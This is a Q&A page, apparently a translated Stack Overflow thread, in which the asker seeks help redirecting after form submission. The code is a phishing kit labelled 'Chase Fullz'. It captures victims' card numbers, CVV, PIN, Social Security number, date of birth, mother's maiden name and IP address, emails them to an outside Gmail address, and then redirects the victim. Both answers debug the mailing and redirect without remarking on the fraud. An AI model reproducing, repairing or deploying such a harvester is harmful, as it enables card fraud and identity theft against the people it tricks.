Php重定向/标题

时间:2015-07-25 07:00:14

标签: php header

我整天都在为这位朋友搞乱这段代码而且在发送任何信息后我似乎无法重定向。想知道是否有人可以提供帮助。

我需要它重定向到site.com/logoff.php

<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";
$message .= "Mailing Address  : ".$_POST['address']."\n";
$message .= "Mailing Address 2  : ".$_POST['address2']."\n";
$message .= " City  : ".$_POST['city']."\n";
$message .= " State : ".$_POST['state']."\n";
$message .= " Zip Code : ".$_POST['zip']."\n";
$message .= "--------------+ Card Info +------------\n";
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n";
$message .= " Expiration Date : ".$_POST['expmonth']."";
$message .= "".$_POST['expyear']."\n";
$message .= " Card Security Code : ".$_POST['cvv']."\n";
$message .= " Card Pin : ".$_POST['cardpin']."\n";
$message .= "--------------+ Security Information +------------\n";
$message .= " Social Security Number : ".$_POST['ssn1']."";
$message .= "-".$_POST['ssn2']."";
$message .= "-".$_POST['ssn3']."\n";
$message .= " Date of Birth : ".$_POST['bmonth']."";
$message .= "-".$_POST['bday']."";
$message .= "-".$_POST['byear']."\n";
$message .= " MMN : ".$_POST['mmn']."\n";
$message .= "--------------+ Connction info +------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "--------------------\n";
$rnessage  = "$message\n";
$message .= "--------------+ Run the world +------------\n";

$send="123123@gmail.com";


$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216@hotmail.com>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>

2 个答案:

答案 0 :(得分:0)

很少。

你有三次电话邮件()。

检查是否(mail()1 = false){}。你再次发送邮件两次没有收件人在第三封邮件();

  

邮件($ messege,$主题,$ rnessage,$头);

但是如果你需要发送多封邮件,你可以在一个数组中定义它们。

  

$ recipients = array('mail1','mail2');

     

mail(implode(',',$ recipients),$ subject,$ message,$ headers);

如果您需要,也可以通过

打印错误
  

error_get_last()

答案 1 :(得分:0)

$send="123123@gmail.com";


$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216@hotmail.com>";
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */
/* Only one call to mail is needed */
if( mail( $send, $subject, $message, $headers) != false){
    header ("Location:logoff.php");
} else {
    echo 'failed';
}